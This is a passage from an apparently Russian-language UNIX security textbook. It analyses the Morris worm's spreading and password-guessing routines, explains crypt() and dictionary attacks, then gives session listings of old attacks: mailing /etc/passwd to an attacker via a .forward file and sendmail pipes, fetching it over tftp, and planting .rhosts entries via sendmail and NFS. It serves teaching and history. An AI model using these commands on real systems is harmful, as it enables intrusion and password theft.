char buf[100];
....
gets(buf);
..
}
Проверка переполнения буфера в ней не осуществлялась. Так как буфер был
в стеке, то переполнение позволяло создавать в стеке фрагмент кода и
изменять адрес возврата из процедуры таким образом, что при возврате
управление передавалось на этот код. Вирус передавал специально
подготовленную строку из 536 байт, которая вызывала в конечном итоге
функцию execve (/bin/sh, 0, 0). Таким способом атаковались только машины
VAX с операционной системой 4.3BSD; на компьютерах Sun, использующих
SunOS, такие атаки терпели неудачу.
8.4.1.3. Удаленное выполнение и подбор паролей
Вирус использовал протокол удаленного выполнения программ (rexec),
который требовал для выполнения программы на удаленной машине только имя
пользователя и незашифрованный пароль. Программа применяла для этого имена
пользователей локального (атакующего) хоста, используя тот факт, что
многие пользователи имеют одинаковые имена и пароли на всех машинах в
сети. Эта, как и следующая, атака относится уже к сценарию 4.
8.4.1.4. Удаленный командный интерпретатор и доверенные хосты
Вирус пытался использовать программу запуска удаленного интерпретатора
(rsh) для атаки других машин либо с полученным именем и паролем текущего
пользователя, либо вообще без аутентификации, если атакуемая машина
доверяет данной. (Файлы /etc/hosts.equiv и .rhosts содержат список машин,
доверяющихданной, т. е. доступных для запуска rsh с данной машины.) Он
пробовал три различных имени для rsh:
/usr/ucb/rsh;
/usr/bin/rsh;
/bin/rsh.
Удаленный интерпретатор по своей функции напоминает программу
удаленного исполнения, но обладает более дружественным интерфейсом, так
как дистанционно запускается командный интерпретатор, а не функция exec.
8.4.2. Маскировка действий вируса
Вирус осуществлял ряд мер для сокрытия своих действий:
стирался список аргументов по окончании их обработки, поэтому команда
ps не могла показать, каким образом были вызваны вирусные программы;
исполняемые файлы вируса после своего запуска немедленно уничтожались, и
нельзя было понять, откуда появился процесс. Если зараженная машина
перезагружалась в процессе исполнения вируса, то специальная программа
автоматически восстанавливала файл после перезагрузки; размер аварийного
дампа устанавливался равным нулю. Если программа аварийно завершалась, то
она не оставляла после себя никаких следов. Также отключались сообщения об
ошибках; вирус был скомпилирован под именем sh, такое же имя
использовалось командным интерпретатором Bourne Shell, который часто
используется в командных файлах. Даже старательный администратор системы
не замечал увеличения числа интерпретаторов, функционирующих в системе,
или не придавал этому значения; вирус размножался, ветвясь на два процесса
(роди-тель и потомок), примерно каждые три минуты.
Процесс-родитель после этого завершался, а процесс-потомок продолжал
работать. Это имело эффект обновления процесса, так как для нового
процесса учет используемых ресурсов начинался с нуля. Кроме того, эта мера
затрудняла обнаружение вируса; все текстовые строки, используемые вирусом,
были закодированы с помощью операции исключающее или - XOR 81H. Это,
конечно, слабый метод, но он позволил скрыть важные текстовые строки,
например, имена открываемых вирусом файлов.
8.4.3. Ошибки в коде вируса
Вирус содержал некоторое количество ошибок - от очень тонких и почти не
влияющих на его работу, до грубых и неуклюжих. Остановимся на них
подробнее.
8.4.3.1. Предотвращение повторного заражения
Участок кода для предотвращения повторного заражения содержал много
ошибок. Это имело решающее значение, т. к. из-за того, что многие машины
заражались повторно, нагрузка на системы и сеть увеличивалась и
становилась весьма ощутимой (некоторые машины даже не могли с ней
справиться).
Вирус, проверяющий наличие других вирусов, пытался связаться с портом
23357 для того, чтобы установить контакт с отвечающим вирусом. Если это не
удавалось, вирус предполагал, что других вирусов нет, и сам становился
отвечающим .
Если связь устанавливалась, проверяющий посылал магическое число
8865431 и в течение 300 секунд ожидал другое магическое число 1345688.
Если число было неверным, проверяющий разрывал связь.
Затем он выбирал случайное число и посылал отвечающему . После этого, в
течение 10 секунд, он ожидал возврата этого числа, после чего складывал
его с посланным. Если сумма была четным числом, то проверяющий
устанавливал значение переменной pleasequit. Иначе говоря, каждый раз из
двух вирусов один смертник выбирался случайно.
После окончания (успешного или неудачного)
сеанса связи проверяющий засыпал на 5 секунд и пытался стать отвечающим
. Для этого он создавал TCP сокет, устанавливал его параметры для
межпроцессной связи и подключал его к порту 23357.
Этот код содержал столько ошибок, что вызывает удивление тот факт, что
он вообще работал. Он завершался с ошибкой при следующих условиях:
если несколько вирусов заражали чистую машину одновременно, то они так
же одновременно пытались найти остальных в режиме проверяющих . Так как
никто не мог их найти, они постепенно переключались в режим ожидания
сообщения и один из них получал его, а остальные прекращали попытки
связаться друг с другом и не отвечали на запросы; если несколько вирусов
одновременно стартовали в присутствии другого уже работающего вируса, то
только одному из них удавалось связаться с активным вирусом, остальные не
могли этого сделать; если машина работала медленно или была сильно
загружена, то это могло привести к исчерпанию вирусом лимита времени,
отпущенного на установление связи с другими вирусами, что приводило к
прекращению обмена.
Заметим, что здесь выражение одновременно подразумевает 5-20 секундный
промежуток.
Критичная ошибка содержалась в коде, когда вирус решал, что должен
завершиться. Все, что он делал - это устанавливал переменную pleasequit.
Эта не давало эффекта до тех пор, пока вирус не:
собрал список имен машин для их атаки; собрал список имен
пользователей; осуществил перебор всех очевидных паролей (см. 8.4.4.3) и
не попробовал 10 случайно взятых паролей из своего словаря.
Так как вирус удалял все временные файлы, то его присутствие в машине
не мешало ее повторному заражению.
Многократно зараженные машины распространяли вирус быстрее, возможно
пропорционально числу копий вируса на машине, т. к.:
вирус перемешивал списки имен машин и пользователей, которые собирался
атаковать, используя генератор случайных чисел, зависящий от системного
времени. Разные копии получали разные случайные числа и атаковали разные
объекты; вирус проводил много времени, ожидая сообщений от других вирусов,
поэтому вирусы не конфликтовали между собой, запрашивая системные ресурсы.
Таким образом, вирус распространялся гораздо быстрее, чем это ожидал
автор, и был обнаружен именно по этой причине.
8.4.3.2. Использование эвристического подхода для определения целей
Чтобы не тратить время, пытаясь заразить не UNIX-систему, вирус иногда
пытался установить связь с предполагаемой мишенью с помощью telnet или
rsh; если это не удавалось, то вирус и не пытался ее заразить. Благодаря
этому некоторые системы избежали заражения, т. к., хотя и поддерживали
электронную почту, но отказывали в доступе telnet или rsh.
8.4.3.3. Неиспользуемые возможности вируса
Вирус не использовал некоторые очевидные возможности:
при поиске списка мишеней для атаки он мог бы использовать службу DNS
для поиска имен машин, подключенных к сети. Эта информация обычно включает
также тип машины и ОС, что ограничивает список целей; он не атаковал
последовательно оба типа машин.
Если VAX-атака терпела неудачу, он мог бы предпринять Sun-атаку, но не
делал этого; он не пытался найти привилегированных пользователей на
локальной машине.
8.4.4. Подробный анализ структуры и процедур вируса
В этом параграфе вирус описывается процедура за процедурой. Взаимосвязь
между процедурами показана на рис. 8.1.
Рис. 8.1. Структура вируса.
8.4.4.1. Имена
Ядро вируса состоит из двух бинарных модулей:
один для машин VAX-архитектуры, другой для Sun-архитектуры. Это
объектные файлы, содержащие списки имен своих внутренних процедур.
Удивительно, что эти имена осмысленны (например, doit или cracksome),
ведь такой простой метод, как случайный выбор имен процедур, мог бы сильно
усложнить анализ вируса.
8.4.4.1.1. Обработка аргументов командной строки
Вирус мог запускаться с аргументом -p NNN , где NNN - десятичное число,
которое является идентификатором породившего процесса.
Впоследствии вирус использовал это число для удаления данного процесса
с целью заметания следов .
Остальные аргументы командной строки являлись именами файлов, которые
он пытался загрузить.
Если не удавалось загрузить хотя бы один из них, вирус заканчивал
работу. Если был задан аргумент -p NNN , то он так же стирал файлы и потом
пытался уничтожить свой образ на диске.
Затем вирус предпринимал следующие действия (причем, если какие-то из
них терпели неудачу, он завершался):
проверял, что был задан хотя бы один файл в командной строке; проверял,
был ли успешно загружен файл ll.c.
Если была задана опция -p , программа закрывала все файлы, открытые
породившим процессом.
Затем стирался массив аргументов для маскировки способа запуска вируса.
Вирус сканировал все сетевые интерфейсы, получал статус и адреса
каждого интерфейса.
Вирус уничтожал процесс, заданный опцией -p NNN и перед этим менял
группу (GID) текущего процесса, чтобы не погибнуть вместе с ним.
Если все эти действия заканчивались удачно, далее он выполнял процедуру
doit, которая совершала остальную работу.
8.4.4.2. Процедура doit
Процедура doit состоит из двух частей - инициализации и основного цикла.
8.4.4.2.1. Инициализация процедуры doit
В ней инициализируется генератор случайных чисел; кроме того, вирус
сохраняет время для последующего определения того, как долго он работал в
системе.
Затем вызывается процедура hg. Если она оканчивается неудачно,
вызывается процедура ha.
После этого с вероятностью шесть седьмых (это было сделано специально)
проверяется, существует ли на данной машине работающая копия вируса (см.
8.4.3.1).
На последнем этапе процедура инициализации должна была по замыслу
автора посылать байт по адресу 128.32.137.13, соответствующему
ernie.berke-ley.edu, в порт 11357. Такое никогда не происходило, так как
автор неправильно использовал вызов функции.
8.4.4.2.2. Основной цикл процедуры doit
Это бесконечный цикл, содержащий наиболее активные компоненты вируса. В
нем вызывается процедура cracksome, пытающаяся найти компьютеры, в которые
можно проникнуть. Затем, после 30-секундного ожидания, во время которого
происходит попытка связаться с другими вирусами, вирус пытается проникнуть
в другие машины.
После осуществления атак он разветвляется, создавая две копии.
Первоначальная (процесс-родитель) уничтожается, оставляя процессу-потомку
всю информацию.
Затем процедуры hd, hl и ha ищут машины для заражения (см. 8.4.4.4), и
программа ждет еще 2 минуты.
Наконец, перед возвратом на начало цикла, проверяется значение
глобальной переменной pleasequit. Если она установлена и если вирус уже
перебрал более 10 слов из собственного словаря паролей, вирус завершает
работу. Таким образом, принудительная установка pleasequit не дает эффекта
моментального завершения всех вирусов.
8.4.4.3. Процедуры подбора пароля
Эти процедуры являются мозгом вируса. Cracksome - процедура,
применяющая различные стратегии для проникновения в систему путем подбора
паролей пользователей. Автором допускалось добавление новых стратегий в
случае последующего развития вируса. Вирус последовательно пробует каждую
стратегию.
8.4.4.3.1. Фаза 0
Это предварительный этап, на котором определяется список возможных
мишеней для атаки (имена и сетевые адреса компьютеров, имена и пароли
пользователей).
На этом этапе читается файл /etc/hosts.equiv в поисках имен машин,
которые могли бы быть заражены. Этот файл содержит информацию о том, какие
машины доверяют данной. Логично предположить, что пользователи данной
машины могут быть пользователями машин из этого списка.
После этого читается файл .rhost, представляющий собой список машин,
которым данная машина доверяет привилегированный доступ. Заметим, что это
не дает возможности получения доступа к удаленной машине и может служить
только в качестве возможного адреса для атаки. Часто системные
администраторы запрещают доступ к этому файлу, из-за чего вирус не мог его
прочитать, хотя .rhosts очень часто является частью /etс/hosts.equiv.
В заключении фазы 0 вирус читает файл паролей /etc/passwd. Информация
из этого файла используется для нахождения персональных .forward-файлов, и
те просматриваются с целью поиска имен машин, которые можно атаковать.
Кроме того, запоминаются имена пользователей, зашифрованные пароли и
информационные строки GECOS, хранящиеся в файле /etc/passwd. После того,
как вирус просканировал весь файл, он переходит к перебору стратегий.
8.4.4.3.2.. Стратегия 1
Это самая простая стратегия, способная определить только примитивные
пароли. В качестве пароля предлагаются следующие варианты (для примера
возьмем строчку из файла etc/passwd user:encrypted password:100:5:Last
First: /usr/user:/bin/sh ):
пароль вообще отсутствует; в качестве пароля берется входное имя
пользователя (user); то же, но прочитанное справа налево (resu); пароль
представляет собой двойной повтор имени пользователя (useruser); имя или
фамилия пользователя (Last, First); то же, но в нижнем регистре (last,
first).
Все эти атаки применялись к 50 паролям, накопленным во время фазы 0.
Так как вирус пытался угадать пароли всех пользователей, он переходил к
стратегии 2.
8.4.4.3.3. Стратегия 2
Стратегия 2 использует внутренний список из 432 возможных паролей,
являющихся, с точки зрения автора вируса, наиболее подходящими кандидатами
на эту роль. В цикле проверки проверяется значение переменной pleasequit,
чтобы перед выходом вирус проверил не менее 10 вариантов. Список
содержится в закодированном виде (установлен старший бит) и перемешивается
в начале проверки для того, чтобы пароли подбирались в случайном порядке.
Когда список слов исчерпан, вирус переходит к стратегии 3.
8.4.4.3.4. Стратегия 3
Эта стратегия использует для подбора пароля файл /usr/dict/words,
содержащий около 24000 слов и используемый в системе 4.3BSD (и других UNIX
системах)
как словарь для проверки орфографии. Если слово начинается с прописной
буквы, то также проверяется и вариант со строчной буквой.
8.4.4.4. Процедуры поиска удаленных машин
Это набор процедур с начинающимися на h именами, выполняющих задачу
поиска имен и адресов удаленных машин.
Процедура hg вызывает процедуру rt_init, которая сканирует таблицу
маршрутов и записывает все адреса доступных шлюзов (gateways) в
специальный список. Затем процедура hg пытается применить процедуры атаки
через rsh, finger и sendmail.
Процедура ha связывается с каждым шлюзом из списка, полученного
процедурой hg, через TCP порт номер 23 (telnet), для того, чтобы
обнаружить те машины, которые поддерживают telnet. Список перемешивается
случайным образом, после чего для каждой машины из этого списка вызывается
процедура hn (т. е. вирус пытается заразить все машины в подсетях этого
шлюза).
Процедура hl извлекает номер сети - первый компонент сетевого адреса из
всех адресов текущей машины, и для каждого полученного адреса вызывает
процедуру hn с этим адресом в качестве аргумента (иначе говоря, атакуются
все локально подключенные подсети).
Процедура hi пытается атаковать каждую машину из списка, находящегося в
файле /etc/hosts.equiv (см. 8.4.4.3), через rsh, finger и sendmail.
Процедура hn получает номер сети в качестве аргумента. Если этот номер
совпадает с номером сети одной из машин, подключенных к данной, процедура
завершается. Для остальных адресов она пытается угадать адреса шлюзов
путем перебора всех возможных адресов (номер сети.[1-8].0.[1-255]).
Этот список перемешивается случайным образом, после чего процедура
пытается атаковать до 12 машин из этого списка, используя rsh, finger и
SMTP.
Если машина не поддерживает связь через TCP-порт 514 (rsh), то hn не
пытается атаковать ее. После первой успешной атаки процедура завершается.
8.4.4.4.1. Порядок работы
Все эти процедуры вызываются в главном цикле.
Если первая процедура завершилась успешно, то остальные процедуры не
вызываются. Каждая процедура возвращается после того, как она сумела
атаковать одну машину. Затем вызывается hi, которая пытается заразить
удаленные машины, найденные cracksome. Если hi терпит неудачу, то
вызывается ha, которая старается проникнуть в удаленную машину по случайно
угаданному адресу связи. Это демонстрирует, что вирус предпочитал поражать
сначала шлюзовые машины, а затем распространяться на присоединенные к ним
сети, вместо того чтобы заражать машины, минуя шлюзы.
Если hg, hi и ha терпят неудачу, то вызывается hl, которая похожа на
ha, но подбирает адрес, используя сетевой адрес текущей машины.
Анализ кода этих процедур так же свидетельствует о наличии ошибок, в
результате чего некоторые из них не были функциональны.
8.4.4.4.2. Процедура ll.c - абордажный крюк
Это короткая процедура, которую все процедуры атаки использовали для
пересылки основной части вируса.
Первое, что она делает, это удаляет свой образ на диске. Затем она
проверяет наличие трех аргументов (если их нет, то завершается), после
чего закрывает все файловые дескрипторы и разветвляется на два процесса
(если это не удается, она так же завершается).
Процесс-родитель завершается, не оставляя никаких связей с порожденным
процессом.
Далее процедура (процесс-потомок) создает TCP-связь с заражаемой
машиной по адресу, заданному в качестве первого аргумента, через порт,
заданный вторым аргументом. Затем она пересылает на зараженную машину
магическое число , заданное третьим аргументом. Каждый аргумент стирается
сразу же после его использования. Далее стандартный ввод-вывод
переназначается на канал связи с зараженной машиной.
Следующим этапом в цикле считывается длина и имя каждого файла,
составляющего вирус. Каждый файл пересылается с зараженной машины на
текущую. При возникновении сбоев все файлы удаляются.
По окончании цикла пересылки файлов запускается Bourne Shell (sh),
замещающий программу ll и получающий команды с зараженной машины.
8.5. После червя
8.5.1. Подбор пароля
Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной
безопасности со всех точек зрения. Были предприняты шаги не только по
закрытию тех брешей, которые он использовал, но и по поиску и
классификации причин их появления в UNIX-системах. Также была выявлена
необходимость создания некоторого координационного органа, в котором бы
накапливалась и систематизировалась информация о различных компьютерных
инцидентах, применяемых методах атак и способах защиты от них. Вскоре
такой центр CERT (Computer Emergency Response Team) был создан, и первым
появившимся в декабре 1988 года бюллетенем было сообщение об уязвимостях,
использованных червем.
Однако и компьютерные взломщики совершенствовали свои методы. Одной из
атак, ставшей наиболее популярной, была атака с подбором пароля другого
пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его
идеи, либо развиваясь независимо, вскоре появилось множество программ,
занимавшихся подбором пароля к UNIX-машине. И долгое время слова взломать
UNIX означали запустить взломщик (cracker)
паролей.
Как известно, в файле /etc/passwd лежит ключевая информация о всех
пользователях системы, включая его входное имя, пароль, полное имя и т. п.
Даже в 70-х годах, когда создавались первые версии UNIX, его разработчикам
было понятно, что пароль пользователя нельзя хранить в открытом виде.
Надо отдать им должное, они сумели придумать схему, благодаря которой
целенаправленные атаки на то, к чему всегда стремится не очень
добропорядочный пользователь, а именно - завладеть паролем другого, смогли
реализоваться только спустя 15 лет. Они не пошли по простому пути
шифрования пароля по какому-то секретному алгоритму, т. к. рано или поздно
этот алгоритм стал бы известен очередному не в меру любопытному, но в меру
грамотному программисту и он смог бы расшифровать все пароли. Они выбрали
путь необратимого преобразования пароля, когда из исходного пароля путем
применения к ней специальной однонаправленной функции (называемой функцией
хэширования) получалось некое значение, из которого никак нельзя получить
исходный пароль. Более того, разработчики взяли математически
криптостойкий алгоритм DES и на основе его создали функцию crypt(),
преобразующую пароль в строку, расположенную в файле /etc/passwd. Эту
функцию написал, кстати, Роберт Моррис-старший.
Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для
преобразования пароля пользователя. Кстати, этот алгоритм применяется до
сих пор в большинстве *IX.
Из исходного пароля берутся первые восемь байт.
Также выбирается некоторое 12-битное случайное число (salt),
используемое для операции хэширования. Его необходимость следует из того,
чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково
после хэширования.
Затем к этим двум параметрам применяется специальная функция
шифрования, дающая на выходе 64-битное значение. Наконец, сам salt
преобразуется в два читабельных ASCII-символа, а хэш - в 11 символов.
Итак, функция crypt (passwd8, salt)
выдает 13-символьную строчку, которая и записывается в файл /etc/passwd.
При входе пользователя в систему вызывается та же функция crypt() с
введенным паролем и salt, полученными из /etc/passwd. Если результат
функции оказывается равным тому значению, что хранится в файле, то
аутентификация считается состоявшейся.
После анализа этой схемы, первое, что приходит в голову потенциальному
взломщику - это перебор.
Берется некоторый набор символов (например, маленькие и большие буквы,
цифры и специальные символы типа знаков препинания - всего получается 94
символа), а затем из них по очереди составляются все комбинации вплоть до
8-символьной длины. К каждой из них применяется crypt(), и результат
сравнивается с имеющимся.
Естественно, что в эти комбинации и попадет рано или поздно любой
пароль пользователя.
Обрезание пароля до 8 значимых символов, конечно, резко ограничивает
множество для перебора, но для тех времен это было вполне допустимо, т. к.
функция crypt() была реализована заведомо неэффективно, и время одного ее
выполнения доходило до одной секунды на машине класса PDP. Таким образом,
в среднем злоумышленник потратил бы секунд или около 100 миллионов лет.
Если же в качестве множества символов взять маленькие латинские буквы
(наиболее часто используемое множество), то время перебора составит в
среднем секунд или всего 3440 лет. Заметим, однако, что на сегодняшний
день скорость оптимизированной функции crypt() на машине класса Pentium
составляет почти 10000 crypt/сек, т.
е. она за 20 лет повысилась в 10000 раз! Поэтому сегодня пароль из
последнего примера мы сможем найти в среднем за 125 дней!
Более того, во-первых, этот процесс легко можно распараллелить, а
во-вторых, существуют специальные платы, аппаратно выполняющие процесс
шифрования, с помощью которых можно еще уменьшить время на несколько
порядков.
Однако вернемся на несколько лет назад, когда вычислительной мощности
для полного перебора всех паролей не хватало. Тем не менее, хакерами был
придуман остроумный (но совершенно очевидный) метод, основанный на людской
психологии. Он следует из того, что человеку нелегко запомнить длинные
бессмысленные наборы символов (идеальные в качестве паролей), поэтому он
каким-либо путем попробует выбрать их более-менее запоминающимися и/или
осмысленными.
Чаще всего им в качестве пароля выбирается существующее слово или
какая-либо информация о себе или своих знакомых (имя, дата рождения и т.
п.). Ну, а поскольку в любом языке не более 100000 слов, то их перебор
займет весьма небольшое время, и от 40 до 80% существующих паролей может
быть угадано с помощью такой простой схемы, называемой атакой по словарю .
(Кстати, до 80% этих паролей может быть угадано с использованием словаря
размером всего 1000 слов!).
Как вы уже знаете, даже вирус Морриса применял такой способ, тем более
что в UNIX под рукой часто оказывается файл-словарь, обычно используемый
программами-корректорами. Что же касается собственных паролей, то файл
/etc/passwd опять-таки может дать немало информации о пользователе: его
входное имя, имя и фамилию, домашний каталог. Вирус Морриса, как вы
помните, с успехом пользовался следующими предположениями:
в качестве пароля берется входное имя пользователя; пароль представляет
собой двойной повтор имени пользователя; то же, но прочитанное справа
налево; имя или фамилия пользователя; то же, но в нижнем регистре.
Забегая несколько вперед, остановимся на сегодняшней ситуации со
вскрытием паролей.
Во-первых, сегодня трудно предположить, что существует еще какой-нибудь
ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть
файл /etc/passwd для последующего анализа (его, безусловно, можно
получить, используя сценарий 1 или 2 через изъян в демоне - но это
бессмысленно, т. к. злоумышленник в этом случае и так стал
суперпользователем на вашей машине).
Во-вторых, в современных версиях UNIX появился механизм так называемого
затенения (shadowing)
файла паролей - он перемещается в другое место и становится недоступным
обычным пользователям по чтению. Но это не сильно эффективное средство,
что связано опять-таки с идеологией UNIX, и вызов функции getpwent()
иногда позволяет получить пароли пользователей в классическом виде.
В-третьих, иногда функция crypt() заменяется на другую (еще более
медленную!) хэш-функцию, и запуск старых программ-вскрывателей ни к чему
не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше,
чем crypt(). Наконец, среди пользователей в последние годы проводится
большая разъяснительная работа по выбору стойких паролей, и процент
успешно подобранных паролей с помощью атаки по словарю пусть медленно, но
падает.
Однако психологический фактор останется до тех пор, пока с компьютером
работает человек, и, наверное, никогда эксперты по компьютерной
безопасности не дождутся от пользователя выбора таких простых и радующих
душу паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь
хитрит и выбирает такие пароли, как hope1, user1997, pAsSwOrD, toor,
roottoor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются
на осмысленном слове и некотором простом правиле его преобразования:
прибавить цифру, прибавить год, перевести через букву в другой регистр,
записать слово наоборот, прибавить записанное наоборот слово, записать
русское слово латинскими буквами, набрать русское слово на клавиатуре с
латинской раскладкой, составить пароль из рядом расположенных на
клавиатуре клавиш и т. п.
Поэтому не надо удивляться, если такой хитрый пароль будет вскрыт
хакерами - они не глупее вас, и уже вставили в свои программы те правила,
по которым может идти преобразование слов. В самых продвинутых программах
(Crack 4.1, John The Ripper 1.3) эти правила могут быть программируемыми и
задаваться с помощью специального языка самим хакером.
Приведем пример эффективности такой стратегии перебора. Во многих
книгах по безопасности предлагается выбирать в качестве надежного пароля
два осмысленных слова, разделенных некоторым знаком, например
good!password. Подсчитаем, за сколько времени в среднем будут сломаны
такие пароли, если такое правило включено в набор программы-взломщика
(пусть словарь 10000 слов, разделительными знаками могут быть 10 цифр и 32
знака препинания и специальных символа, машина класса Pentium со скоростью
10000 crypt/сек):
сек. или всего 2.5 дня!
Итак, из всего вышесказанного ясно, насколько важно для вашей
безопасности иметь хорошие пароли, причем это не зависит от операционной
системы, которую вы используете. К сожалению, рекомендации по поводу
выбора таких паролей выходят за рамки этой книги.
8.5.2. Типичные атаки
Далее мы рассмотрим типичные атаки на UNIX-хосты, которые
осуществлялись в недалеком прошлом, и попытаемся классифицировать их по
предложенным типовым сценариям. Почти все атаки даются с подробными
листингами, т. к. потенциальный кракер все равно найдет их в том же
интернете [16], а главное, что на сегодняшний день они являются достаточно
устаревшими и представляют больше теоретический интерес.
8.5.2.1. Атака с использованием анонимного ftp
Анонимный ftp-сервис (обнаружить его наличие чрезвычайно легко, и это
не должно возбуждать никаких подозрений) может служить легким способом
получения доступа, поскольку его часто неправильно конфигурируют.
Например, система может иметь полную копию файла /etc/passwd в каталоге
~ftp/etc вместо урезанной версии - со всеми вытекающими отсюда
последствиями (см. предыдущий пункт). Кроме того, можно применить и более
изощренный способ - в следующем примере домашний каталог специального
пользователя ftp на victim.com доступен для записи. Это позволяет послать
по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо
создать файл .forward в домашнем каталоге ftp, который выполняется, когда
пользователю ftp посылается почта.
Происходит это следующим образом:
evil % cat forward_sucker_file
|/bin/mail [email protected] /etc/passwd evil % ftp victim.com
Connected to victim.com 220 victim FTP server ready.
Name (victim.com:hacker): ftp
331 Guest login ok, send ident as password.
Password: ***** 230 Guest login ok, access restrictions apply.
ftp ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991
etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp quit
evil % echo test | mail [email protected]
Теперь можно просто сидеть и ждать, когда файл с паролями будет послан
обратно.
Очевидно, что такая атака (как и следующая)
является типичной по сценарию 2.
Рассматривая ftp, можно проверить более старую ошибку:
% ftp -n
ftp open victim.com
Connected to victim.com 220 victim.com FTP server ready.
ftp quote user ftp
331 Guest login ok, send ident as password.
ftp quote cwd ~root
530 Please login with USER and PASS.
ftp quote pass ftp
230 Guest login ok, access restrictions apply.
ftp ls -al /
Если этот прием сработал, то атакующий теперь вошел в систему как
системный администратор (root).
Если данная ошибка имеется в системе, то следует обязательно обновить
ftpd.
Далее мы еще рассмотрим более свежие дыры в ftp-демонах.
8.5.2.2. Использование tftp
Существует также программа, подобная ftpd - tftpd.
Этот демон не требует пароля для аутентификации.
Если хост предоставляет tftp без ограничения доступа (обычно с помощью
установок флагов безопасности в файле inetd.conf), то атакующий получает
доступ по чтению и записи к любым файлам. Например, он может получить файл
паролей с удаленной машины и разместить его в локальном каталоге /tmp:
evil % tftp
tftp connect victim.com
tftp get /etc/passwd /tmp/passwd.victim
tftp quit
Это является атакой по сценарию 2.
8.5.2.3. Проникновение в систему с помощью sendmail
Sendmail - это очень сложная программа, у которой всегда было много
проблем с безопасностью, включая печально известную команду debug .
С ее помощью, например, зачастую можно получить некоторую информацию об
удаленной системе, иногда вплоть до номера версии, анализируя ее
сообщения. Это дает возможность определить наличие в системе известных
ошибок. Кроме того, можно увидеть, запущен ли псевдоним decode , имеющий
ряд проблем:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25 connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00
PDT
expn decode
250 |/usr/bin/uudecode
quit
Наличие псевдонима decode подвергает систему риску, что злоумышленник
может изменить любые файлы, доступные для записи владельцу этого
псевдонима, которым, как правило, является демон.
Этот фрагмент кода поместит evil.com в файл .rhosts пользователя
hacker, если он доступен для записи:
evil % echo evil.com | uuencode /home/hacker/.rhosts | mail
[email protected] В части sendmail, отвечающей за пересылку, были две
хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для
версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об
ошибках, evil.com добавляется к файлу .rhosts вместе с обычными почтовыми
заголовками:
% cat evil_sendmail
telnet victim.com 25 EOSM
rcpt to: /home/hacker/.rhosts
mail from: hacker
data .
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
evil.com .
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l hacker
Welcome to victim.com!
victim %
Вторая ошибка, исправленная недавно, позволяла кому угодно задавать
произвольные команды оболочки и/или пути для посылающей и/или принимающей
стороны. Попытки сохранить детали в секрете были тщетными, и широкая
дискуссия в эхо-конференциях привела к обнародованию того, как можно
использовать некоторые ошибки. Как и для большинства других ошибок UNIX,
почти все системы оказались уязвимы для этих атак, поскольку все они имели
в основе один и тот же исходный текст. Типичная атака с помощью sendmail,
направленная на получение пароля, может выглядеть так:
evil % telnet victim.com 25
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: |/bin/mail [email protected] /etc/passwd
250 |/bin/mail [email protected] /etc/passwd... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with . on a line by itself .
250 Mail accepted
quit
Connection closed by foreign host.
evil %
Видно, что все атаки на sendmail идут на уровне незарегистрированного
удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к
sendmail мы еще вернемся.
8.5.2.4. Атаки на доверие
Ниже перечисляемые атаки основаны на типовом сценарии 4.
8.5.2.4.1. С использованием неправильного администрирования NFS
Предположим, что запуск программы showmount с параметром атакуемый хост
покажет следующее:
evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy
Сразу бросается в глаза, что /export и все его подкаталоги
экспортируются во внешнюю среду.
Предположим (это можно выяснить с помощью finger), что домашним
каталогом пользователя guest является /export/foo. Теперь с помощью этой
информации можно осуществить первое вторжение. Для этого монтируется
домашний каталог пользователя guest удаленной машины. Поскольку даже
суперпользователь атакующей машины не может модифицировать файлы на
файловой системе, смонтированной как NFS, необходимо обмануть NFS и
создать фиктивного пользователя guest в локальном файле паролей. Далее
стандартно эксплуатируется излишнее доверие , и атакующая машина
victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest,
что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:
evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:временно для взлома:/:
/etc/passwd
evil # su guest
evil % echo victim.com guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Если бы victim.com не экспортировал домашние каталоги пользователей, а
только пользовательские каталоги с программами (скажем, /usr или
/usr/local/bin), можно было бы заменить команду троянским конем, который
бы выполнял те же операции.
8.5.2.4.2. Проникновение в систему с помощью rsh
Если система, которую собираются атаковать, содержит шаблон + в файле
/etc/hosts.equiv (в некоторых системах он устанавливается по умолчанию)
или содержит ошибки в утилите netgroups, то любой пользователь с помощью
rlogin сможет зарегистрироваться на ней под любым именем, кроме root, без
